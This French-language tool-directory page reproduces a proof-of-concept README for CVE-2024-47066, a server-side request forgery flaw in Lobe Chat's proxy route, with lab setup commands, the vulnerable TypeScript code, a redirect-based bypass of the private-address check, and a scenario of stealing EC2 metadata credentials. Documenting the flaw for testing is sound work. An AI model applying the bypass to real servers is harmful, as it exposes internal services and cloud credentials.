Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-47066 — Exploitation de la falsification de requête côté serveur dans Lobe Chat | Kitploit
Outils/GitHubGitHub/eqstlab/cve-2024-47066
Analyse des VulnérabilitésExploitationExploitation d'Applications WebSécurité WebApprentissage et Éducation
GitHubeqstlab/cve-2024-47066

CVE-2024-47066

Exploitation de la falsification de requête côté serveur dans Lobe Chat

Voir le dépôt
1il y a 2 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-47066

★ CVE-2024-47066 PoC SSRF LobeChat ★

Description

CVE-2024-47066 : Lobe Chat est un framework de chat d'intelligence artificielle open source. Avant la version 1.19.13, la protection contre la falsification de requête côté serveur (SSRF) implémentée dans src/app/api/proxy/route.ts ne prend pas en compte les redirections et pouvait être contournée lorsque l'attaquant fournit une URL malveillante externe qui redirige vers des ressources internes comme un réseau privé ou une adresse de bouclage. La version 1.19.13 contient un correctif amélioré pour ce problème.

Rapporteur : a1loy

https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec

Comment l'utiliser

Git clone

git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066

Setup Vulnerable Environment

cd docker
docker-compose up -d

(Externe) LodeChat --> ATTAQUE SSRF --> (Interne) http://www.internal-service:4000

Installer les paquets

pip install -r requirements.txt

Commande

python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>

Exemple

python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000

Sortie

CVE-2024-47066 alt text

Résultat

alt text

Analyse

Point vulnérable (/app/api/proxy/route.ts)

import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';

const lookupAsync = promisify(dns.lookup);

export const runtime = 'nodejs';

/**
 * just for a proxy
 */
export const POST = async (req: Request) => {
  const url = new URL(await req.text());
  let address;

  try {
    const lookupResult = await lookupAsync(url.hostname);
    address = lookupResult.address;
  } catch (err) {
    console.error(`${url.hostname} DNS parser error:`, err);

    return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
  }

  const isInternalHost = isPrivate(address);

  if (isInternalHost)
    return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });

  const res = await fetch(url.toString());

  return new Response(res.body, { headers: res.headers });
};

Après la ligne 26, il n'y a aucun endroit pour déterminer la réponse de redirection. Ainsi, en utilisant un raccourcisseur d'URL, vous pouvez facilement contourner la fonction « isPrivate() ».

Scénario d'attaque

Voler les identifiants des métadonnées EC2

Effectuer une requête vers http://169.254.169.254

Avertissement

Ce dépôt n'a pas pour but d'être un exploit SSRF pour CVE-2024-47066. Le but de ce projet est d'aider les gens à découvrir cette vulnérabilité, et peut-être à tester leurs propres applications.

Référence

https://github.com/advisories/GHSA-3fc8-2r3f-8wrg

Télécharger l’outil